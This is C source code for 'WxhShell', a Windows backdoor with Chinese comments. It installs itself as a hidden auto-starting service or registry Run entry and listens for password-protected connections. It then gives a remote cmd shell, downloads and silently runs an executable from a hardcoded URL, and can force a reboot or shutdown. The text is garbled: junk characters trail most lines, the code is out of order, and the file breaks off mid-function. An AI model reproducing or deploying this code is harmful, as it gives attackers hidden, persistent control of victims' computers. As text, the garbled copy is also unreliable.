  // 关机 a/~aFmu6b  
  case 'd': { =k}SD96  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3`O?16O  
    if(Boot(SHUTDOWN)) X u"R^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G{aT2c  
    else { TUL_TR  
    closesocket(wsh); 0Q"u#V Sp  
    ExitThread(0); ]U[X1W+@  
    } JJV0R}z?TV  
    break; o sbHs$C  
    } bf_I9Z3m  
  // 获取shell NRnRMY-  
  case 's': { 6{x,*[v  
    CmdShell(wsh); -71dN0hWh  
    closesocket(wsh); -B#yy]8  
    ExitThread(0);  g]*  
    break; eRbGZYrJ  
  } ^n#1<K[E  
  // 退出 ]!:oYAm  
  case 'x': { s/"&9F3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zn:R PMk*  
    CloseIt(wsh); BE&B}LfvfO  
    break; Xqp|VbDca  
    } JXiZB 8}  
  // 离开 {P8[X@Lu  
  case 'q': { n<Svw a}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wI M{pK  
    closesocket(wsh); {v aaFs  
    WSACleanup(); ,~ ?'Ef80  
    exit(1); Gx?+9C V  
    break; DPe]daF  
        } 7Y=cn_ wU  
  } nU+tM~C%a  
  } "%WgT2)m.  
0)YbI!  
  // 提示信息 Nd:R" p*8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J MX6yV  
} |1Dc!V'?"  
  } L~{_!Q  
LiDvaF:@L!  
  return; dGZntT 2D  
} W [[oSqp  
-O:_!\uA  
// shell模块句柄 hlvt$Jwq  
int CmdShell(SOCKET sock) >,C4rC+:XN  
{ MB);!qy  
STARTUPINFO si; Q_*_?yf  
ZeroMemory(&si,sizeof(si)); 9L%I<5i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G@!z$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MgnM,95  
PROCESS_INFORMATION ProcessInfo; 2.}R  
char cmdline[]="cmd"; !=Y;h[J.p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~Y= @$!Uq  
  return 0; XA0 (f*  
} 0X..e$ '  
oC*ees g_  
// 自身启动模式 ?<X(]I.j  
int StartFromService(void) TL= YQA  
{ RKd  
typedef struct ydl jw  
{ 4kp im  
  DWORD ExitStatus; ?{o/I\\  
  DWORD PebBaseAddress; [~5p>'  
  DWORD AffinityMask; maMHZ\ Q  
  DWORD BasePriority; {hSGv   
  ULONG UniqueProcessId; nR \'[~+  
  ULONG InheritedFromUniqueProcessId; Q+|{Bs)6i1  
}   PROCESS_BASIC_INFORMATION; k>4qkigjc  
OQ/<-+<w  
PROCNTQSIP NtQueryInformationProcess; XCB?ll*^  
r'/;O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OL59e %X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ofc.zwH  
,reJ(s  
  HANDLE             hProcess; HCA{pR`  
  PROCESS_BASIC_INFORMATION pbi; -ML6d&cm  
B,$l4m4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &znH!AQ0  
  if(NULL == hInst ) return 0; @}FAwv^f  
O/AE}]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Df07y<>7Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "yb WDWu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z,;;=V6j  
>hMUr*j  
  if (!NtQueryInformationProcess) return 0; LDT(]HJ  
ZU'!iU|8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KV!<Oq  
  if(!hProcess) return 0; AH7L.L+$M  
.;/L2Jv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S^RUw  
A Ayv  
  CloseHandle(hProcess); <T,A&`/  
`ue[q!Qq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~d>%,?zz  
if(hProcess==NULL) return 0; _fTwmnA  
";3*?/uM  
HMODULE hMod; `hh9"Ws%  
char procName[255]; XaI;2fMGI  
unsigned long cbNeeded; tgFJZA  
?v]-^X=&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rp! LP#*  
O0~vf[i];  
  CloseHandle(hProcess); 8Vl!|\x5  
O>r-]0DI[  
if(strstr(procName,"services")) return 1; // 以服务启动 c|p,/L09L  
Aw ^yH+ae  
  return 0; // 注册表启动 S*W;%J5  
} 0O@_ cW  
y+mElG$F  
// 主模块 To"dG& h  
int StartWxhshell(LPSTR lpCmdLine) D=?{8'R'  
{ oT+(W,G  
  SOCKET wsl; }F1s tDx  
BOOL val=TRUE; PB'0?b}fab  
  int port=0; J07O:cjyu  
  struct sockaddr_in door; mLL$|  
%5</ d5.  
  if(wscfg.ws_autoins) Install(); Iq' O  
,4F,:w  
port=atoi(lpCmdLine); 9V!-ZG  
`_AM` >_  
if(port<=0) port=wscfg.ws_port; 0LVE@qEL  
#Fd W/y5  
  WSADATA data; DQ!J!ltQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3><u*0qe%I  
9w ~cvlv[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I=dGq;Jaz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?qHF}k|  
  door.sin_family = AF_INET; eMMx8E)B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pu;3nUH  
  door.sin_port = htons(port); 9/TY\?U  
a<Uqyilm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s3t!<9[m  
closesocket(wsl); Q}vbm4)[  
return 1; 'w<BJTQIL  
} jp<VK<s]  
>Wi s.e%b  
  if(listen(wsl,2) == INVALID_SOCKET) { /0==pLa4  
closesocket(wsl); ~uaP$*B[  
return 1; (i`(>I.(/  
} +cg {[f,J;  
  Wxhshell(wsl); aO1IVESr$  
  WSACleanup(); sOC&Q&eg  
x'`"iZO.t  
return 0; 4,1oU|fz  
1M5 -pZ[D  
} Y(i?M~3\t  
r'aY2n^O  
// 以NT服务方式启动 w+UV"\!G)Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h8}8Lp(/'  
{ g'lT  
DWORD   status = 0; 8OAg~mQ15(  
  DWORD   specificError = 0xfffffff; H~9=&p[Q  
vZjZb(jlN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; : }?{@#Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZlR!s!vv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Aka^e\Y@6*  
  serviceStatus.dwWin32ExitCode     = 0; womq^h6  
  serviceStatus.dwServiceSpecificExitCode = 0; R_e)mkE  
  serviceStatus.dwCheckPoint       = 0; g()m/KS<  
  serviceStatus.dwWaitHint       = 0; xPQL?.  
jXIEp01  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p5*lEz|$  
  if (hServiceStatusHandle==0) return; =7jEz+w#  
l1-HO  
status = GetLastError(); qi=3L  
  if (status!=NO_ERROR) :c4kBl%gJ  
{ kV)' a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fj=NiZ=  
    serviceStatus.dwCheckPoint       = 0; 0'yyfz  
    serviceStatus.dwWaitHint       = 0; U"5q;9#q  
    serviceStatus.dwWin32ExitCode     = status; ])$S\fFm  
    serviceStatus.dwServiceSpecificExitCode = specificError; {+=i?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `SOhG?Zo  
    return; LM1b I4  
  } ,IjdO(?TC  
o/JPYBhdl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k&GHu0z  
  serviceStatus.dwCheckPoint       = 0; a!t V6H  
  serviceStatus.dwWaitHint       = 0; *T4ge|zUc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5u,sx664  
} R;THA!  
JSjYC0e  
// 处理NT服务事件,比如:启动、停止 q|{tQJfYg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k>{-[X,/OV  
{ Z=9dMND  
switch(fdwControl) .cR*P<3O  
{ 79tJV  
case SERVICE_CONTROL_STOP: yiT{+;g^  
  serviceStatus.dwWin32ExitCode = 0; |R~;&x:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *i?.y*g  
  serviceStatus.dwCheckPoint   = 0; 6FjVmje  
  serviceStatus.dwWaitHint     = 0; q<XcOc5  
  { 7Po/_%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s/ S+ ec3  
  } L?f qcW{  
  return; 1URsHV!xcM  
case SERVICE_CONTROL_PAUSE: bOXh|u_3i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZjD2u 8e  
  break; @3 "DBJ  
case SERVICE_CONTROL_CONTINUE: cEi<}9r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tc/jY]'32  
  break; dofR)"<p,^  
case SERVICE_CONTROL_INTERROGATE: Mf7E72{D  
  break; >sV Bj(f  
}; ngqUH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); liG~y|  
} LW?2}`+  
vs*I7<  
// 标准应用程序主函数 ;U7t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )/TVJAJ  
{ @7|)RSBQz  
M,{<TpCx  
// 获取操作系统版本 6QptKXu7  
OsIsNt=GetOsVer(); EG1x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s}!"a8hU`  
*2:Yf7rvI+  
  // 从命令行安装 *]9XDc]{j1  
  if(strpbrk(lpCmdLine,"iI")) Install(); WFdem/\kX  
P rt#L8  
  // 下载执行文件 JWSq"N  
if(wscfg.ws_downexe) { :wCC^Y]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _6I>+9#C  
  WinExec(wscfg.ws_filenam,SW_HIDE); SD I,M  
} CU !.!cZ{  
<Am^z~[  
if(!OsIsNt) { 9oD#t~+F4  
// 如果时win9x,隐藏进程并且设置为注册表启动 1 ' %-y  
HideProc(); _ ^3@PM>  
StartWxhshell(lpCmdLine); KqY>4tb  
} |Kn^w4mN  
else cFxSDTR  
  if(StartFromService()) [r~~=b7*[  
  // 以服务方式启动  RA~_]Hk  
  StartServiceCtrlDispatcher(DispatchTable); @f'AWeJ2  
else ;@O(z*14@  
  // 普通方式启动 %w%zv2d  
  StartWxhshell(lpCmdLine); ,,2_/u\"/i  
L`bo#,eg6  
return 0; ~l4Q~'  
} Cj=J;^vf  
b6$4Ul-.  
@%7/2k  
X)FQ%(H<  
=========================================== w5=EtKTi  
*Ag,kW"  
 A8`orMo2  
Jz2 q\42q  
n%Rjt!9  
<m9JXO:5  
" M%77u=m  
~M(pCSJ[  
#include <stdio.h> a\|X^%2g  
#include <string.h> B)(w%\M4^  
#include <windows.h> "URVX1#(r  
#include <winsock2.h> yO%VzjJhg  
#include <winsvc.h> n/:Z{  
#include <urlmon.h> :'TX"E!  
@~Rk^/0  
#pragma comment (lib, "Ws2_32.lib") ?##y`.+O  
#pragma comment (lib, "urlmon.lib") J]_)gb'1BR  
 K oL%}u&  
#define MAX_USER   100 // 最大客户端连接数 0c{Gr 0[>  
#define BUF_SOCK   200 // sock buffer p@`4 Qz  
#define KEY_BUFF   255 // 输入 buffer Z'Zd[."s  
!FO:^P  
#define REBOOT     0   // 重启 (jt*u (C&Y  
#define SHUTDOWN   1   // 关机 O/'f$Zj36  
Zr~"\llk  
#define DEF_PORT   5000 // 监听端口 fG^7@J w:G  
I[vME"  
#define REG_LEN     16   // 注册表键长度 lp 3(&p<:  
#define SVC_LEN     80   // NT服务名长度 @)8NI[=6O  
ROcY'-  
// 从dll定义API VdYOm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :K5V/-[|V1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f2 VpeJ<p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FxMMxY,*%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S:DcfR=a  
+ 4++Z  
// wxhshell配置信息 d u _O}x  
struct WSCFG { qrOB_Nz  
  int ws_port;         // 监听端口 ([ E#zrz%  
  char ws_passstr[REG_LEN]; // 口令 4_Tb)?L+:  
  int ws_autoins;       // 安装标记, 1=yes 0=no !G@V<'F  
  char ws_regname[REG_LEN]; // 注册表键名 p` ^:Q*C"  
  char ws_svcname[REG_LEN]; // 服务名 :Fq2x_IUE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ei(| 5h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R#r h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Gv-sA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /<G yg7o0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4j2~"K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U Ek |8yq  
7UY('Q[  
}; pyGFDB5_P  
MX%|hIOpr  
// default Wxhshell configuration }"!6Xm  
struct WSCFG wscfg={DEF_PORT, i@sCMCu6  
    "xuhuanlingzhe", Z{j!s6Y@{  
    1, Iht mD@H}  
    "Wxhshell", 4"`=huQ  
    "Wxhshell", GA}hp%  
            "WxhShell Service", kjQIagw  
    "Wrsky Windows CmdShell Service", })Ix .!p  
    "Please Input Your Password: ", C8O7i[uc  
  1, "@F*$JGT y  
  "http://www.wrsky.com/wxhshell.exe", OD>u$tI9  
  "Wxhshell.exe" !:R^}pMhIk  
    }; U]1>?,Nk'3  
N GX-'w  
// 消息定义模块 b*9m2=6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :C}KI)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $L $j KNwf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <[*h_gE5  
char *msg_ws_ext="\n\rExit."; ;5zjd,  
char *msg_ws_end="\n\rQuit."; y?rK5Yos  
char *msg_ws_boot="\n\rReboot..."; T(t <Ay?c  
char *msg_ws_poff="\n\rShutdown..."; [0( E>vm  
char *msg_ws_down="\n\rSave to "; {3_Ffsg`  
j@!BOL~?  
char *msg_ws_err="\n\rErr!"; c=uBT K*  
char *msg_ws_ok="\n\rOK!"; Zi15wE  
1D#T+t`[  
char ExeFile[MAX_PATH]; 2\kC_o97  
int nUser = 0; VhJyWH%(  
HANDLE handles[MAX_USER]; 6Vu}k K)  
int OsIsNt; hv_pb#1Ks  
g%KGF)+H  
SERVICE_STATUS       serviceStatus; 5G dY7t_1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t\E-6u  
Il tg0`  
// 函数声明 @9 qzn&A  
int Install(void); Q7OnhGA  
int Uninstall(void); S:"z<O  
int DownloadFile(char *sURL, SOCKET wsh); Vb"T],N1m  
int Boot(int flag); N P0Hgd  
void HideProc(void); >*ha#PE  
int GetOsVer(void); xP|%rl4  
int Wxhshell(SOCKET wsl); c+YYM :S  
void TalkWithClient(void *cs); Xv<;[vq}F  
int CmdShell(SOCKET sock); w7.?zb!N  
int StartFromService(void); gXJ19zB+  
int StartWxhshell(LPSTR lpCmdLine); X8NO;w@z#  
.T N`p*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bHlDm~5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -O5(%  
A$$R_3ne  
// 数据结构和表定义 RLeSA\di  
SERVICE_TABLE_ENTRY DispatchTable[] = %<bG%V(  
{ Q:Nwy(,I  
{wscfg.ws_svcname, NTServiceMain}, 2!"\;/  
{NULL, NULL} @pEO@bbg>  
}; EzeDShN=J  
9cx!N,R t  
// 自我安装 -sGWSC  
int Install(void) {R6Zwjs  
{ HnYFE@Nl:U  
  char svExeFile[MAX_PATH]; \M1M2(@pDJ  
  HKEY key; #E~WVTO w  
  strcpy(svExeFile,ExeFile); v;NZ"1=_  
bl+@}+A  
// 如果是win9x系统,修改注册表设为自启动 GXAk*vS=G  
if(!OsIsNt) { /^es0$Co.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,EGD8$RA]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d >wmg*J  
  RegCloseKey(key); xSMp[j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SBYMDKZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WEY97_@  
  RegCloseKey(key); xs83S.fHg  
  return 0; !xx> lX5  
    } \p=W4W/  
  } X?k V1  
} OKLggim{  
else { j@_) F^12  
JWm^RQ  
// 如果是NT以上系统,安装为系统服务 @{$Cv"6769  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r>:7${pF  
if (schSCManager!=0) M& BM,~  
{ ~jCpL@rS  
  SC_HANDLE schService = CreateService V?L$ ys  
  ( b&V]|Z (  
  schSCManager, Ubos#hP  
  wscfg.ws_svcname, :\w[xqH  
  wscfg.ws_svcdisp, 7AFS)_w  
  SERVICE_ALL_ACCESS, CFS3);'<|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /B#lju!  
  SERVICE_AUTO_START, *~lgU4  
  SERVICE_ERROR_NORMAL, )DZ-vnZ#t0  
  svExeFile, ?3E_KGI  
  NULL, tX`[6`  
  NULL, ff5 Lwf{{  
  NULL, i4n%EDQ  
  NULL, ?M{ 6U[?  
  NULL {J6sM$aj  
  ); ^TCJh^4na  
  if (schService!=0) j[=_1~u}  
  { ek.WuOs  
  CloseServiceHandle(schService); aSj1P/A  
  CloseServiceHandle(schSCManager); hhgz=7Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1&dsQ, VDl  
  strcat(svExeFile,wscfg.ws_svcname); Hk~ gcG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :`"T Eif  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6xzR*~ 7  
  RegCloseKey(key); +K?N:w  
  return 0; H6 f; BS  
    } "6o}qeB l  
  } U"Ob@$ROFy  
  CloseServiceHandle(schSCManager); LkZo/K~  
} He_(JXTP  
} $?JLCa  
'V9aB5O&  
return 1; E<G@LT  
} a]=vq(N'r  
ZT6X4 Z  
// 自我卸载 :iOHc-x  
int Uninstall(void) Z6/~2S@  
{ qLi1yH  
  HKEY key; IWRq:Gw  
{s^ryv_}  
if(!OsIsNt) { +(P 43XO08  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !DUg"o3G>  
  RegDeleteValue(key,wscfg.ws_regname); <{xAvN( :  
  RegCloseKey(key); 5Z1Do^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V-U  ^O45  
  RegDeleteValue(key,wscfg.ws_regname); lXk-86[M  
  RegCloseKey(key); gwB> oi*OE  
  return 0; a:%5.!Vd  
  } hv8[_p`>  
} WQmiG=Dw^  
} ci NTYow  
else { {F9Qy0.*u  
xW;[}t-QS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G~hILW^  
if (schSCManager!=0) > FcA ,  
{ C05{,w?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T]Td4T!  
  if (schService!=0) qsRfG~Cg  
  { "91At b;hJ  
  if(DeleteService(schService)!=0) { W]Y!ZfGnN  
  CloseServiceHandle(schService); @`+$d=rO`  
  CloseServiceHandle(schSCManager); gsq[ 9  
  return 0; f(MHU   
  } ~U*N'>'=)  
  CloseServiceHandle(schService); VGUDUM.8  
  } 714nUA872  
  CloseServiceHandle(schSCManager); 3R[J,go  
} e%0#"6}  
} OZ0%;Y0  
o[r6sz:  
return 1; IV#f}NrfD  
} `xAJy5  
xr3PO?:  
// 从指定url下载文件 1Y"qQp  
int DownloadFile(char *sURL, SOCKET wsh) ]B'  
{ c1!/jTX$  
  HRESULT hr; jG ;(89QR/  
char seps[]= "/"; 5%aKlx9^#  
char *token; jqsktJw#i  
char *file; @.@#WHde  
char myURL[MAX_PATH]; L , Fso./y  
char myFILE[MAX_PATH]; 2u H\8A+'f  
[_G0kiI}W"  
strcpy(myURL,sURL); 5@rqU(]<  
  token=strtok(myURL,seps); )w?$~q  
  while(token!=NULL) im[gbac  
  { 4qcIoO  
    file=token; %=O!K>^vt<  
  token=strtok(NULL,seps); 4^}PnU7z  
  } }`FC__  
{Qmb!`F  
GetCurrentDirectory(MAX_PATH,myFILE); uqeWdj*Y  
strcat(myFILE, "\\"); N6 (w<b  
strcat(myFILE, file); k)' z<EL6c  
  send(wsh,myFILE,strlen(myFILE),0); CIvT5^}  
send(wsh,"...",3,0); 7Bd_/A($  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'R5l =Wf  
  if(hr==S_OK) nln[V$   
return 0; HZ4 ^T7G  
else I[IQFka}  
return 1; OiEaVPSI;  
`rJ ~*7-  
} J` --O(8Ml  
M@[gT?m v1  
// 系统电源模块 ]@T `q R  
int Boot(int flag) X1qj l_A  
{ Guc^gq}  
  HANDLE hToken; cDyC&}:f  
  TOKEN_PRIVILEGES tkp; J|8YB3K,  
N!&VBx^z  
  if(OsIsNt) { zvC,([  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "A`'~]/hE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :%]R x&08  
    tkp.PrivilegeCount = 1; Xn'>k[}<k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?\VN`8Yb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b:I5poI3  
if(flag==REBOOT) { -7VV5W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .u3W]5M|  
  return 0;  o*1`,n  
} I _G;;GF  
else { m 4LM10  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RA67w&  
  return 0; > o`RPWs  
} @CUDD{1o  
  } <"%h1{V  
  else { b#j5fEY  
if(flag==REBOOT) { #T`+~tW'|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j" .6  
  return 0; l Nto9  
} L<]P K4  
else { e2ZUl` {g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D|#(zjl@  
  return 0; &g>+tkC  
} hG3Lj7)UH  
} F4gc_>{|  
!qve1H4d2  
return 1; }}R!Y)  
} {0 {$.L  
rrRC5h  
// win9x进程隐藏模块 "evV/Fg (  
void HideProc(void) &" n9,$  
{ >9|+F [Fc  
)Q?[_<1Y+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lI<8)42yq  
  if ( hKernel != NULL ) kO"aE~  
  { -e\56%\~_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vk T3_f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f#b[KB^Z,2  
    FreeLibrary(hKernel); G dY^}TJrh  
  } "S#hzrEdYI  
z H4#\d  
return; 7J/3O[2  
} A*;h}\n  
m q9&To!  
// 获取操作系统版本 w Vmy`OV/  
int GetOsVer(void) [wYQP6Cyy  
{ @S):a`J  
  OSVERSIONINFO winfo; NebZGD2K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Cd `~*5  
  GetVersionEx(&winfo); ,r4af<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a@1gMZc*  
  return 1; `r Ql{$9IC  
  else \C|06Bs $  
  return 0; e0 EJ[bG  
} F4Z0g*^x  
,/9|j*9H  
// 客户端句柄模块 Jq)k?WS  
int Wxhshell(SOCKET wsl) vj0?b/5m  
{ >?<d}9X  
  SOCKET wsh; Xw5" JE!.  
  struct sockaddr_in client; i[J',  
  DWORD myID; %R>MSSjvr  
VvKH]>*  
  while(nUser<MAX_USER) `#U6`[[  
{ +__Rk1CVh  
  int nSize=sizeof(client); S0yT%V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); na)ceN2h  
  if(wsh==INVALID_SOCKET) return 1; T94$}- 5/)  
 1qF.0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XwMC/]lK<  
if(handles[nUser]==0) d?.x./1[qi  
  closesocket(wsh); H R  
else ysPW<  
  nUser++; 24fWj?A|^  
  } { q<l]jn9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v>R.ou(  
TmiQq'm[b  
  return 0; [XK"$C]jHJ  
} &5<lQ1  
#$E vybETx  
// 关闭 socket 2$=HDwv  
void CloseIt(SOCKET wsh) 3WS % H17  
{ C54)eT6  
closesocket(wsh); ,zaveQ~l  
nUser--; B%/Pn 2  
ExitThread(0); \Qn8"I83AV  
} P2kZi=0  
:QNEA3Q  
// 客户端请求句柄 &$[{L)D  
void TalkWithClient(void *cs) P@#6.Bb#V  
{ &\r%&IX/  
$? Rod;  
  SOCKET wsh=(SOCKET)cs; q[lqEc  
  char pwd[SVC_LEN]; pV8,b   
  char cmd[KEY_BUFF]; +FR"Gt$g  
char chr[1]; K km7L-  
int i,j; Khl7Ez  
XA68H!I  
  while (nUser < MAX_USER) { {JJ`|*H$_  
*(rE<  
if(wscfg.ws_passstr) { l{4\Wn Va  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *?K=;$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (ym)q#^  
  //ZeroMemory(pwd,KEY_BUFF); I$&/?ns@O  
      i=0; PhQD}|S  
  while(i<SVC_LEN) { M}>q>  
JQqDUd  
  // 设置超时 frt?*|:  
  fd_set FdRead; =zKp(_[D  
  struct timeval TimeOut; x$E l7=.  
  FD_ZERO(&FdRead); pFuQ!7Uk  
  FD_SET(wsh,&FdRead); $O#h4L_  
  TimeOut.tv_sec=8; kH'Cx^=c6h  
  TimeOut.tv_usec=0; '%,Re-8O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `}bUf epMJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *HRRv.iQ  
=[,adB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ntT| G0E  
  pwd=chr[0]; t65!2G"<  
  if(chr[0]==0xd || chr[0]==0xa) {  7)T+!>  
  pwd=0; -'2.^a-8-g  
  break; DCm;dh  
  } bu.36\78  
  i++; 7]Egu D4  
    } _F,OS<>  
1#V0g Q  
  // 如果是非法用户,关闭 socket [|YMnV<B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #%5>}$  
} AYi$LsLhO  
^V:YNUqp#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cA*%K[9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bMZ0%(q  
8|l Yf%n>j  
while(1) { 1ysA~2  
g^idS:GtX5  
  ZeroMemory(cmd,KEY_BUFF); )D^P~2  
@ZVc!5J_,  
      // 自动支持客户端 telnet标准   oTL "]3`'  
  j=0; y|aWUX/a  
  while(j<KEY_BUFF) { zb<+x(0y"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m} V,+E  
  cmd[j]=chr[0]; YP7<j*s8  
  if(chr[0]==0xa || chr[0]==0xd) { eZv0"FK X  
  cmd[j]=0; 23>?3-q  
  break; &`9lIVB,K  
  } <[q)2 5RL  
  j++; L/ZZe5I  
    } 8177x7UG2[  
mB\5bSFY`  
  // 下载文件 VS` S@+p  
  if(strstr(cmd,"http://")) { C{Fo^-3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 41.+3VP  
  if(DownloadFile(cmd,wsh)) a-W&/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D,7! /u'  
  else CI,-q i  
